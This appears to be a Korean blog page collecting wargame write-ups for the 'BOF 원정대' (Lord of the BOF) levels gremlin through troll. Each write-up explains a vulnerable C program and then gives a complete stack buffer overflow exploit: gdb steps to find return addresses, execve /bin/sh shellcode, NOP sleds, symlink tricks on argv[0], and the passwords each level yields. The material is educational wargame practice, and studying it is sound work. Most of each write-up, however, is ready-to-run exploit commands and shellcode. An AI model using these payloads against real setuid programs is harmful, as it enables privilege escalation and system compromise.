심심해서 하는 블로그 :: 'Computer Science/BOF 원정대' 카테고리의 글 목록 (2 Page)

1. 취약점


드디어 이 때까지 argv[2]를 활용한 공격을 한 것의 대응책을 가지고 왔다.

애초에 2개이상의 매개변수를 받지 않는데다가 argv[1]은 프로그램 종료시에 0으로 초기화한다.

하지만 우리는 이 전 라운드로 심볼릭 링크를 이용하면 argv[0]을 변경할 수 있다는 걸 알게 되었다.

이번 공략은 argv[0]에 쉘 코드를 올리는 것이 중요하다  


2. Exploit

1. bash2를 사용하고 troll.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp orge.c /tmp/troll.c && cd /tmp


2. argv[0] 시작 주소를 알기 위해 소스 코드를 변경한 후 gcc로 컴파일을 한 후 실행한다.  

$ vi ./troll.c

$ gcc -g -o troll troll.c



gdb로 주소를 얻어서 해결하는 과정에서 nop가 있는 주소를 새로운 Return Address로 했는데 Segmentation Falut만 자꾸 뜬다. 그래서 소스코드를 수정해서 argv[0]의 주소를 얻어오는게 더 낫겠다고 생각이 들었다. 


$ ./troll  `perl -e 'print "A"x 44, "\xbf"x4'`



실행 파일의 파일명 크기에 따라서  argv[0]의 크기가 달라지는 점을 고려해서 nop구간의 시작 부분은 대략 현재주소 +30 ~ +80으로  추정된다. (파일명 길이차이 +5,  A +20, nop 갯수 +50)

따라서 new Return Address는 0xbffffc5c 로 지정하였다. 


3. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3

 

심볼릭 링크를 사용할 경우 /x2f 즉 "/" 가 있으면 안된다.. /는 리눅스 경로 개념이므로 파일 이름으로는 부적합하기 때문이다. 따라서 구글에서 "2f없는 쉘코드"를 찾으면 몇몇 사이트가 알려준다. (구글링은 사랑이쥬)

이번 쉘 코드의 크기는 39byte이다



7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ln -s ./troll `perl -e 'print "A"x20, "\x90"x50, "[쉘 코드]"'`

$ ./A [Tab키] `perl -e 'print "A"x44, "\x5c\xfc\xff\xbf"'`



8. 결과

   id :  troll   passwd : aspirin

,

1. 취약점


그 전의 문제와 똑같은데 중간에 argv[0]의 길이를 묻는 구문이 있다.

으잉??ㅋㅋ 파일 길이가 ./orge이면 6글자인데 77글자로 만들어라고요?? 파일 이름은 권한 문제로 바꾸지 못하니까 방법은.. 심볼릭 링크닷!! 심볼릭 링크는 쉽게 윈도우에서 바로가기와 똑같다. 


2. Exploit

1. bash2를 사용하고 orge.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp orge.c /tmp/orge.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o orge orge.c


3. 심볼릭 링크를 만들고 gdb로 디버깅을 시작한다.

$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123

$ gdb -q /tmp//////////123456789012345678901234567890123456789012345678901234567890123



gdb에서 파일명으로 디버깅을 하면 자동으로 절대경로로 입력이 되는 것을 알 수 있다

/home/darkelf/는 14글자이므로 심볼릭 링크의 이름은 63자가 나오게끔 만든다.

그리고 gdb로 디버깅 할 때는 /tmp에서 하므로 길이를 맞춰주기위에 /tmp////////// 로 시작하여준다 


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 새로운 Return Address를 지정할 위치를 파악하기 위해 이 곳을 중담점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+313

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "\x90"x100, "B"x41'`

(gdb) x/150x $esp


Return Address는 0xbffffbac로 정했다



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ln -s ./orge 123456789012345678901234567890123456789012345678901234567890123

/home/darkelf/123456789012345678901234567890123456789012345678901234567890123 `perl -e 'print "A"x44, "\xac\xfb\xff\xbf"'` `perl -e 'print "\x90"x100, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


8. 결과

   id : orge     passwd : timewalker

,

1. 취약점


그 전의 문제와 똑같은데 중간에 argv[1]의 길이를 묻는 구문이 있다.

길이가 48보다 크면 프로그램을 중지한다는 건데 buffer 40byte + sfp 4byte + new Return Address 4btye하면 딱 48byte니까 저번이랑 문제를 똑같이 풀어도 무관하다.


2. Exploit

1. bash2를 사용하고 darkelf.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp darkelf.c /tmp/darkelf.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o darkelf darkelf.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./wolfman


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 새로운 Return Address를 지정할 위치를 파악하기 위해 이 곳을 중담점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+275

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "B"x61'`

(gdb) x/150x $esp



Return Address는 0xbffffc38로 정했다



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

memset의 결과로 buffer의 앞 쪽 40byte는 0으로 변경되었다. 하지만 그 후의 주소에 저장된 값은 그대로 유지되므로 영향력이 없다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

./darkelf `perl -e 'print "A"x44, "\x38\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : darkelf     passwd : kernel crashed

,

1. 취약점

그 전의 문제와 똑같은데 마지막에 memset을 통해서 버퍼를 메모리를 초기화하는 과정이 있다.

buffer[0]~ buffer[39]까지 0으로 초기화 시킨다는 건데 내가 바꾸고자하는 영역인 Return Address는 건들지 않을 것으로 예상되므로 얘도 무시하고 넘어가보자.


2. Exploit

1. bash2를 사용하고 wolfman.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp wolfman.c /tmp/wolfman.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o wolfman wolfman.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./wolfman


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 내가 변경한 Return Address도 영향을 끼치는지 확인하기 위해 

memset부분을 중단점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+227

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "B"x61'`

(gdb) x/150x $esp


r `perl -e 'print "A"x 44, "/xbf"x4'` `perl -e 'print "B"x61'`

memset 이후의 결과를 볼려면 if문을 통과해야하므로 \xbf도 추가한다 memset의 영향이 끼치면 뒤의 \xbf도 0으로 채워 질 것이다.



역시 앞의 40개만 변경되고 뒤에 8바이트는 변경되지 않는걸 확인하였다 

평소처럼 공격하면 똑같은 결과를 안겨다 줄 것이다.



혹시나 싶어서 argv[1]부분도 점검해보니 클리어 되지 않았다. 

Return Address는 0xbffffc38로 정했닷



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

memset의 결과로 buffer의 앞 쪽 40byte는 0으로 변경되었다. 하지만 그 후의 주소에 저장된 값은 그대로 유지되므로 영향력이 없다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

./wolfman `perl -e 'print "A"x44, "\x38\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : wolfman     passwd : love eyuna

,

1. 취약점


버퍼의 크기는 40byte.. 

그리고 문제의 for문... level2와 level3을 환경변수로 해결한 풀이가 있던데 그 방법을 못쓰게 막아놨다.. 

고로 argv로 계속 문제를 풀어온 나에게는 신경 쓸 필요가 없는 for문! 그리고 조건문이 있는데 첫 번째 매개변수의 48번째 문자를 "\xbf"로 안하면 취약한 API strcpy()에 접근을 못하게 해놨다.


 Dummy(buffer + sfp)

argv[1][43]

 \xaa

argv[1][44]

 \xfa

argv[1][45]

\xff 

argv[1][46]

 \xbf

argv[1][47]

근데 잘 생각해보면 버퍼 오버플로우를 할려면 Return Address를 변경하면서 argv[1][47]은 \xbf가 된다..

그냥 평소처럼 풀면 될거 같다 


2. Exploit

1. bash2를 사용하고 orc.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp orc.c /tmp/orc.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o orc orc.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./orc


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



argv를 사용할거니까 초기단계를 관찰한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x 48'` `perl -e 'print "B"x61'`

(gdb) x/150x $esp



매번 똑같이 하는 말이지만 저 빨간구간중에 한구간을 새로운 Return Address로 삼을 것이다.


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 



7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

./orc `perl -e 'print "A"x44, "\x48\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : orc     passwd : cantata

,

1. 취약점


버퍼 오버플로우에 취약한 함수 gets() 사용

버퍼의 크기는 16byte,  Level 2와 달리 메인함수에 매개 변수로 입력받는 방식이 아닌 표준 입력으로 입력받는다는 차이점이 있다. 하지만 리다이렉션이라는 좋은 기능이 있으니까 그것을 잘 응용해보자.


2. Exploit

1. bash2를 사용하고 goblin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp goblin.c /tmp/goblin.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o goblin goblin.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./goblin


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



Level2랑 동일하게 초기단계를 관찰해보자


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "B"x61'`

(gdb) x/100x $esp



r `perl -e 'print "B"x61'` 

궁금증이 생겼다.. 매개변수를 사용하지 않는 이 프로그램에 매개변수를 넣으면 어떻게 될까?

그래서 두 손 가득히 "B"를 담아 보내주었더니 메모리 공간 한 구석에 저 녀석이 생존하여 있다.

버퍼의 위치와 리턴주소의 위치를 확인하기 위해 프로그램을 계속 진행하였다


(gdb) n

(gdb) AAAAA

(gdb) x/40x $esp

 

버퍼가 16Byte + sfp가 4Byte 따라서 Return Address의 주소는 0xbffffae8


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

지난 Level 2와 거의 유사하다. 표준입력을 할 때 손으로 일일히 타이핑하는 방식이 아닌 

리다이렉션을 적극 활용하면 된다. buffer를 20byte로 채우고  Return Address는 0xbffffc40로 선택


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ (perl -e 'print "A"x20, "\x40\xfc\xff\xbf"'; cat) | ./goblin  `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

리다이렉션은 입력를 보통 키보드로 입력을 받는데 그것을 대신하여 파일이나 명령어 수행 결과를 입력으로 하는 기능을 의미한다. 시스템 프로그래밍의 파이프라인의 대표적인 사례이다.



8. 결과

   id : goblin

   passwd : hackers proof


9. 다른 풀이 

gets()는 엔터키가 끝날 때까지 입력을 계속 받는다

따라서 디버깅 할 때 관찰하면 gets()문에서 A를 무진장 많이 넣어도 메모리에 고이 간직한다.

그 점을 이용해서 표준 입력 또는 리다이렉션으로  "A" x 20, "nop 구간의 임의의 주소", "\x90" x 20, 셀 코드를 순차적으로 입력해도 해결이 된다.  

,

1. 취약점


버퍼 오버플로우에 취약한 함수 strcpy() 사용

근데 버퍼의 크기가 16byte ㅠㅠ 쉘 코드가 41byte라서 Return Address까지 다 덮어버려서 

Level 1때의 단순한 방법으로는 접근하기 힘들다. 따라서 *argv[]를 적극 활용하여 쉘코드를 로드하자


2. Exploit

1. bash2를 사용하고 cobolt.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp cobolt.c /tmp/cobolt.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 cobolt으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o cobolt cobolt.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./cobolt


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



argv를 활용할테니까 초기 상태에서 중단점을 설정하자


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'`

(gdb) x/120x $esp



r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'` 로 수행하는 이유는 

우선 버퍼를 넘치게해서 Return Address까지 접근하는데 20(dummy) + 4(new Return Address)

그 후 쉘코드를 수행하는데 쉘코드가 41byte이므로 최소 42byte 이상이 존재해야 하므로 

20(nop) + 41(Shell code) 새로운 return 주소는 빨간 네모중 0xbffffc30으로 선정하였다

 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 buffer를 20byte로 채우고  Return Address는 0xbffffc30로 선택


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./cobolt `perl -e 'print "A"x20, "\x30\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : cobolt

   passwd : hacking exposed


,

1. 취약점


실행 파일의 권한이 SetUID로 설정

SetUID는 파일을 실행하는 동안에는 자신의 EUID(Effective UID)가 일시적으로 파일의 소유권자가 된다.

Bof 원정대 특징상 프로그램의 취약점을 파악하여 자신의 권한을 상승 시켜나가는 과정이니..

이런 권한을 가진 프로그램일수록 개발할 때 더욱 주의를 기울일 필요가 있다.



버퍼 오버플로우에 취약한 함수 strcpy() 사용

버퍼의 크기도 256바이트로 쉘코드를 입력하기에는 충분한 공간.. 역시 Level 1..

main함수에 매개변수를 받아드리서 화면에 입력한 내용을 보여주는 프로그램이다. strcpy()보다는 입력의 길이를 한정하는 strlcpy(), strncpy() 사용을 하면 버퍼오버플로우는 어느 정도 예방할 수 있다.


2. Exploit

1. bash2를 사용하고 gremlin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp gremlin.c /tmp/gremlin.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 gremlin으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o gremlin gremlin.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./gremlin


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



main+54 에서 strcpy가 수행되고 있다. 우리는 버퍼의 크기가 궁금하니까 59번을 중지점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+59

(gdb) r `perl -e 'print "A"x256'`

(gdb) x/30x $esp



A의 ASCII코드가 41이므로  buffer의 시작 주소 : 0xbffff978 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 이 코드의 크기는 41byte이다. (만드는 과정은 시간이 남으면 연재)

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 nop + shell code + nop 를 260byte로 채우고  Return Address는 첫 번째 nop 구간에 범위내의 아무 주소로 변경한다. (0xbffff980으로 선정)

nop(\x90)는 아무런 연산을 하지 않고 넘어가는 코드으므로 프로그램 수행에 영향을 주지 않는다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./gremlin `perl -e 'print "\x90" x 200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90" x 19, "\x80\xf9\xff\xbf"'`



8. 결과

   id : gremlin

   passwd : hello bof world


,